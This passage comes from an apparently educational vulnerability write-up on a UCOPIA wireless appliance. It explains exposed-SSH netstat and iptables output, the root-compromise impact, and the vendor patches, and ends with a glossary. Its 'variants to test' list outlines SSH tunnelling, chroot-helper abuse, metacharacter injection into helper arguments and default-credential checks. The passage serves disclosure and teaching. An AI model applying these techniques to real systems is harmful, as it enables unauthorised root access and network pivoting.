  3. Proto Recv-Q Send-Q Local Address Foreign Address State names the columns: protocol, receive queue, send queue, local address, foreign address, state.
  4. tcp 0 0 [redacted]:22 [redacted]:* LISTEN shows SSH listening on port 22 on all IPv4 addresses. [redacted] means "every address on this machine".
  5. tcp6 0 0 :::22 :::* LISTEN is the same for IPv6, where :: means every address.
  6. [...] is omitted output.
  7. # iptables -nvL lists the firewall rules. iptables is the Linux firewall tool; -n shows numbers, -v is verbose, -L lists the rules.
  8. Chain CTRL_ACCESS (1 references) is a rule chain named CTRL_ACCESS, referenced once by another chain.
  9. pkts bytes target prot opt in out source destination names the rule columns.
  10. 6 336 CLI_ACCESS tcp -- * * [redacted]/0 [redacted]/0 tcp dpt:22 is a rule that sends TCP traffic to port 22 from any source to any destination into the CLI_ACCESS chain. In plain terms, SSH is reachable from anywhere.

Using the discovered vulnerabilities, the Ucopia router can be compromised and used by an attacker for network discovery or to perform harmful actions by exploiting the root access. Network discovery means mapping out what else is reachable from the appliance, which is exactly what the SOCKS proxy makes easy.

Fix

Weblib released patched versions: 7.0.0 on 2023-03-22 and 6.0.13 on 2023-05-30. The report does not describe the specific code or configuration changes in those releases.

Variants to test

  • SSH forwarding on other appliances: connect with ssh -D or ssh -L to an administrative account and check whether the tunnel is accepted. A positive result is a working SOCKS proxy or forwarded socket that reaches services not exposed on the network.
  • Restricted shells that call privileged helpers: look for commands in the CLI that invoke a helper over a UNIX socket or a setuid binary. A setuid binary is a program that runs with the permissions of its owner rather than of the person launching it. A positive result is a helper that runs commands outside the sandbox and returns their output.
  • Whitelisted binaries that can echo arbitrary strings: check whether tools such as expr, echo or similar are in the allowed command list. A positive result is a file written with attacker-controlled content and root ownership.
  • Shell metacharacters in helper arguments: try redirections and command separators in the arguments passed to the helper. Metacharacters are characters such as >, | or ; that a shell treats as instructions rather than as plain text. A positive result is a file created or modified outside the intended directory.
  • Default administrative credentials: check whether the SSH password differs from the web password and whether it matches the documented default. A positive result is a successful SSH login with the default value.

Glossary

  • Appliance: a ready-made hardware and software box sold for one job, here managing a corporate wireless network.
  • SSH: a protocol and set of programs for opening a text session on a remote computer, usually on port 22.
  • SSH key pair: two linked files, a private key kept secret and a public key that can be shared; possession of the private key proves identity.
  • authorized_keys: a file listing the public keys allowed to log in as a given user.
  • CLI: command line interface, a text prompt where you type commands instead of clicking.
  • clish: the program that builds UCOPIA's restricted command line from XML definition files.
  • XML: a text format for structured data made of tags, used here to define allowed commands.
  • chroot: a technique that makes a program see one folder as the whole filesystem, so it cannot reach the rest.
  • UNIX socket: a special file that lets two programs on the same machine exchange data, like an internal phone line.
  • Whitelist: a list of things that are allowed; anything not listed is refused.
  • chroothole_client / chroothole server: the helper program and its server that run whitelisted commands outside the chroot.
  • CVE: a public identifier for a known vulnerability, so people can track it.
  • TCP forwarding: using an SSH session as a tunnel that carries other network connections.
  • SOCKS proxy: a middleman service that accepts connections and makes them on your behalf.
  • AllowTcpForwarding: the SSH server setting that controls whether tunnels are allowed; when absent, OpenSSH defaults to yes.
  • sshd_config: the SSH server's configuration file.
  • Loopback: the address a computer uses to talk to itself, [redacted] for IPv4 and ::1 for IPv6.
  • Port: a numbered channel on a computer that a service listens on, such as 22 for SSH or 3306 for MySQL.
  • nc (netcat): a simple tool for opening network connections and checking whether a port answers.
  • proxychains: a tool that intercepts other programs' connections and sends them through a proxy.
  • stdout: the standard output of a command, normally the screen.
  • Shell redirection (>, >>): sending a command's output into a file, overwriting with > or appending with >>.
  • expr: a small program that evaluates expressions and prints the result, including plain strings.
  • Root: the all-powerful account on a Linux machine.
  • Root shell: a command prompt running with root powers.
  • whoami: a command that prints the name of the current user.
  • cat: a command that prints a file's contents.
  • ls: a command that lists a directory's contents.
  • mount: attaching a storage device or virtual filesystem to a directory so its contents appear there.
  • netstat: a command that lists network connections and listening ports.
  • iptables: the Linux firewall tool that decides which network traffic is allowed.
  • Metacharacter: a character such as >, | or ; that a shell treats as an instruction rather than plain text.
  • setuid binary: a program that runs with its owner's permissions rather than the launching user's.
  • Network discovery: mapping out which machines and services are reachable from a compromised host.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.